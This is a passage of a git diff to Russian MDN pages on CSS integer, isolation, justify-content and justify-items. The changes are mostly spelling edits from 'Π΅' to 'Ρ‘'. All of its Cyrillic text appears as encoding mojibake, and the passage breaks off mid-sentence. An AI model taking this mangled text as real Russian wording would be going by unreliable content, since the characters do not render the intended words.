<pre class="brush:css no-line-numbers">/* &lt;length&gt; значСния */
inset: 3px 10px 3px 10px;
diff --git a/files/ru/web/css/integer/index.html b/files/ru/web/css/integer/index.html
index c608250e6c..a7240a3e81 100644
--- a/files/ru/web/css/integer/index.html
+++ b/files/ru/web/css/integer/index.html
@@ -33,7 +33,7 @@ translation_of: Web/CSS/integer
<pre class="example-bad">12.0 Π­Ρ‚ΠΎ &lt;number&gt;, Π° Π½Π΅ &lt;integer&gt;, Ρ…ΠΎΡ‚ΡŒ ΠΈ прСдставляСтся ΠΊΠ°ΠΊ Ρ†Π΅Π»ΠΎΠ΅ число.
12. "Π”Ρ€ΠΎΠ±Π½Ρ‹Π΅" Ρ‚ΠΎΡ‡ΠΊΠΈ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Ρ‹.
-+---12 Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ символ +/-.
++---12 Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ символ +/-.
Π΄Π΅ΡΡΡ‚ΡŒ Π‘ΡƒΠΊΠ²Ρ‹ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Ρ‹.
_5 Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Π·Π½Π°ΠΊΠΈ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Ρ‹.
\35 Π­ΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ символы ΠΠ½ΠΈΠΊΠΎΠ΄Π° Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Ρ‹, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ†Π΅Π»Ρ‹ΠΌ числом (здСсь: 5).
diff --git a/files/ru/web/css/isolation/index.html b/files/ru/web/css/isolation/index.html
index 52deb89e55..7153c6f925 100644
--- a/files/ru/web/css/isolation/index.html
+++ b/files/ru/web/css/isolation/index.html
@@ -3,7 +3,7 @@ title: isolation
slug: Web/CSS/isolation
tags:
- ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚ налоТСния
- - ΠžΡ‡Π΅Ρ€Π΅Π΄Π½ΠΎΡΡ‚ΡŒ
+ - ΠžΡ‡Π΅Ρ€Ρ‘Π΄Π½ΠΎΡΡ‚ΡŒ
- ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ отрисовки
translation_of: Web/CSS/isolation
---
@@ -35,7 +35,7 @@ isolation: unset;
<dl>
<dt><code>auto</code></dt>
- <dd>Новый контСкст налоТСния создаСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли это трСбуСтся для ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· свойств, примСняСмых ΠΊ элСмСнту.</dd>
+ <dd>Новый контСкст налоТСния создаётся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли это трСбуСтся для ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· свойств, примСняСмых ΠΊ элСмСнту.</dd>
<dt><code>isolate</code></dt>
<dd>Новый контСкст налоТСния Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ создан.</dd>
</dl>
diff --git a/files/ru/web/css/justify-content/index.html b/files/ru/web/css/justify-content/index.html
index ab44ce45bb..33263a5442 100644
--- a/files/ru/web/css/justify-content/index.html
+++ b/files/ru/web/css/justify-content/index.html
@@ -14,7 +14,7 @@ translation_of: Web/CSS/justify-content
<p>{{EmbedInteractiveExample("pages/css/justify-content.html")}}</p>
-<p>Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ выполняСтся послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π΄Π»ΠΈΠ½Ρ‹ ΠΈ автоматичСскиС поля, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ссли Π²ΠΎ <a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅</a> Π΅ΡΡ‚ΡŒ хотя Π±Ρ‹ ΠΎΠ΄ΠΈΠ½ flex-элСмСнт, с {{cssxref("flex-grow")}} ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΌ ΠΎΡ‚ <code>0</code>, эффСкт Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π½Π΅ останСтся свободного мСста.</p>
+<p>Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ выполняСтся послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π΄Π»ΠΈΠ½Ρ‹ ΠΈ автоматичСскиС поля, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ссли Π²ΠΎ <a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅</a> Π΅ΡΡ‚ΡŒ хотя Π±Ρ‹ ΠΎΠ΄ΠΈΠ½ flex-элСмСнт, с {{cssxref("flex-grow")}} ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΌ ΠΎΡ‚ <code>0</code>, эффСкт Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π½Π΅ останСтся свободного мСста.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -32,7 +32,7 @@ justify-content: baseline;
justify-content: first baseline;
justify-content: last baseline;
-/* РаспрСдСлСнноС Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ */
+/* РаспрСдСлённоС Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ */
justify-content: space-between; /* Π Π°Π²Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎ распрСдСляСт всС элСмСнты ΠΏΠΎ ΡˆΠΈΡ€ΠΈΠ½Π΅ flex-Π±Π»ΠΎΠΊΠ°.
Β  ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт Π²Π½Π°Ρ‡Π°Π»Π΅, послСдний Π² ΠΊΠΎΠ½Ρ†Π΅ */
justify-content: space-around; /* Π Π°Π²Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎ распрСдСляСт всС элСмСнты ΠΏΠΎ ΡˆΠΈΡ€ΠΈΠ½Π΅ flex-Π±Π»ΠΎΠΊΠ°.
@@ -74,7 +74,7 @@ justify-content: unset;
<dt><code>right</code></dt>
<dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ Π·Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΈ ΠΏΡ€ΠΈΠΆΠΈΠΌΠ°ΡŽΡ‚ΡΡ ΠΊ ΠΏΡ€Π°Π²ΠΎΠΌΡƒ ΠΊΡ€Π°ΡŽ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΏΠΎ Π³Π»Π°Π²Π½ΠΎΠΉ оси. Если главная ось Π½Π΅ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Π°, это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΊΒ  <code>start</code>.</dd>
<dt><code>normal</code></dt>
- <dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π½Π° своих ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… позициях, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ свойство <code>justify-content</code>Β Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ. Π­Ρ‚ΠΎΡ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊΒ <code>stretch</code>Β Π² grid ΠΈ flex ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°Ρ….</dd>
+ <dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π½Π° своих ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… позициях, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ свойство <code>justify-content</code>Β Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ. Π­Ρ‚ΠΎΡ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊΒ <code>stretch</code>Β Π² grid ΠΈ flex ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°Ρ….</dd>
<dt><code>baseline<br>
first baseline</code><br>
<code>last baseline</code></dt>
diff --git a/files/ru/web/css/justify-items/index.html b/files/ru/web/css/justify-items/index.html
index 4e28a766e9..e33b891277 100644
--- a/files/ru/web/css/justify-items/index.html
+++ b/files/ru/web/css/justify-items/index.html
@@ -65,7 +65,7 @@ justify-items: initial;
justify-items: unset;
</pre>
-<p>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈΠ· Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌ:</p>
+<p>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈΠ· Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌ:</p>
<ul>
<li>ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова: ΠΎΠ΄Π½ΠΎ ΠΈΠ· Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова: <code>normal</code>, <code>auto</code>, ΠΈΠ»ΠΈ <code>stretch</code>.</li>
@@ -83,10 +83,10 @@ justify-items: unset;
<dd>Π­Ρ„Ρ„Π΅ΠΊΡ‚ этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° зависит ΠΎΡ‚ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ способа Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ:
<ul>
<li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π±Π»ΠΎΠΊΠΎΠ² (block-level layout), это ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово являСтся синонимом слова <code>start</code></li>
- <li>Для Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ с Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ элСмСнтами, это ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ <code>start</code> Π½Π° Π·Π°ΠΌΠ΅Π½Π΅Π½Π½Ρ‹Ρ… Π±Π»ΠΎΠΊΠ°Ρ… с Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΌ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ ΠΈ ΠΊΠ°ΠΊ <code>stretch</code> Π½Π° всСх ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… Π±Π»ΠΎΠΊΠ°Ρ… с Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΌ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ</li>
+ <li>Для Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ с Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ элСмСнтами, это ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ <code>start</code> Π½Π° Π·Π°ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Ρ… Π±Π»ΠΎΠΊΠ°Ρ… с Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΌ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ ΠΈ ΠΊΠ°ΠΊ <code>stretch</code> Π½Π° всСх ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… Π±Π»ΠΎΠΊΠ°Ρ… с Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΌ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ</li>
<li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ячССк Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ (table cell layout), это ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <em>игнорируСтся</em></li>
<li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π³ΠΈΠ±ΠΊΠΈΡ… Π±Π»ΠΎΠΊΠΎΠ² (flexbox layout), это ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <em>игнорируСтся</em></li>
- <li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСтки (grid layout), это ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ повСдСнию, Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎΠΌΡƒ повСдСнию <code>stretch</code>, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Π±Π»ΠΎΠΊΠΎΠ² с ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ΠΌ сторон ΠΈΠ»ΠΈ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ², Π³Π΄Π΅ ΠΎΠ½ΠΎ Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ <code>start</code></li>
+ <li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСтки (grid layout), это ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ повСдСнию, Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎΠΌΡƒ повСдСнию <code>stretch</code>, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Π±Π»ΠΎΠΊΠΎΠ² с ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ΠΌ сторон ΠΈΠ»ΠΈ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ², Π³Π΄Π΅ ΠΎΠ½ΠΎ Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ <code>start</code></li>
</ul>
</dd>
<dt><code>start</code></dt>
@@ -104,22 +104,22 @@ justify-items: unset;
<dt><code>center</code></dt>
<dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π½Π° ΠΎΠ΄Π½ΠΎΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΏΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΡŽ ΠΊ Ρ†Π΅Π½Ρ‚Ρ€Ρƒ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° выравнивания.</dd>
<dt><code>left</code></dt>
- <dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π½Π° ΠΎΠ΄Π½ΠΎΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΏΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΡŽ ΠΊ Π»Π΅Π²ΠΎΠΉ Π³Ρ€Π°Π½ΠΈΡ†Π΅ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° выравнивания. Если ось свойства Π½Π΅ ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½Π° Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ оси, это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ <code>start</code>.</dd>
+ <dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π½Π° ΠΎΠ΄Π½ΠΎΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΏΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΡŽ ΠΊ Π»Π΅Π²ΠΎΠΉ Π³Ρ€Π°Π½ΠΈΡ†Π΅ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° выравнивания. Если ось свойства Π½Π΅ ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½Π° Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ оси, это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ <code>start</code>.</dd>
<dt><code>right</code></dt>
- <dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π½Π° ΠΎΠ΄Π½ΠΎΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΏΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΡŽ ΠΊ ΠΏΡ€Π°Π²ΠΎΠΉ Π³Ρ€Π°Π½ΠΈΡ†Π΅ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° выравнивания ΠΏΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ оси. Если ось свойства Π½Π΅ ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½Π° Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ оси, это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ <code>start</code>.</dd>
+ <dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π½Π° ΠΎΠ΄Π½ΠΎΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΏΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΡŽ ΠΊ ΠΏΡ€Π°Π²ΠΎΠΉ Π³Ρ€Π°Π½ΠΈΡ†Π΅ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° выравнивания ΠΏΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ оси. Если ось свойства Π½Π΅ ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½Π° Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ оси, это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ <code>start</code>.</dd>
<dt><code>baseline<br>
first baseline</code><br>
<code>last baseline</code></dt>
<dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ участиС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code>first baseline</code> ΠΈΠ»ΠΈ <code>last baseline</code> Π² исходном Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠΈ. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>baseline</code> Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠ»ΠΈ послСдний Π±Π»ΠΎΠΊ Π½Π°Π±ΠΎΡ€Π° Π² соотвСтствии с исходным Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ΠΌ Π² ΠΎΠ±Ρ‰Π΅ΠΌ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΈΠ»ΠΈ послСднСм Π½Π°Π±ΠΎΡ€Π΅ всСх Π±Π»ΠΎΠΊΠΎΠ² Π² Π΅Π³ΠΎ совмСстной Π³Ρ€ΡƒΠΏΠΏΠ΅ исходного выравнивания.</dd>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‚Π½Ρ‹ΠΌ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ΠΌ для <code>first baseline</code> являСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>start</code>, для <code>last baseline</code> являСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>end</code>.</dd>
<dt><code>stretch</code></dt>
- <dd>Если ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ элСмСнтов мСньшС, Ρ‡Π΅ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° выравнивания, Ρ‚ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ любого элСмСнта со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>auto</code> увСличиваСтся ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ (Π½Π΅ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ), Π½ΠΎ ΠΏΡ€ΠΈ этом ΡΠΎΠ±Π»ΡŽΠ΄Π°ΡŽΡ‚ΡΡ ограничСния, Π½Π°Π»Π°Π³Π°Π΅ΠΌΡ‹Π΅ {{CSSxRef("max-height")}}/{{CSSxRef("max-width")}} (ΠΈΠ»ΠΈ эквивалСнтной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ), Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚ΠΎΡ‡Π½ΠΎ заполняСт ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ выравнивания.</dd>
+ <dd>Если ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ элСмСнтов мСньшС, Ρ‡Π΅ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° выравнивания, Ρ‚ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ любого элСмСнта со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>auto</code> увСличиваСтся ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ (Π½Π΅ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ), Π½ΠΎ ΠΏΡ€ΠΈ этом ΡΠΎΠ±Π»ΡŽΠ΄Π°ΡŽΡ‚ΡΡ ограничСния, Π½Π°Π»Π°Π³Π°Π΅ΠΌΡ‹Π΅ {{CSSxRef("max-height")}}/{{CSSxRef("max-width")}} (ΠΈΠ»ΠΈ эквивалСнтной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ), Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎ 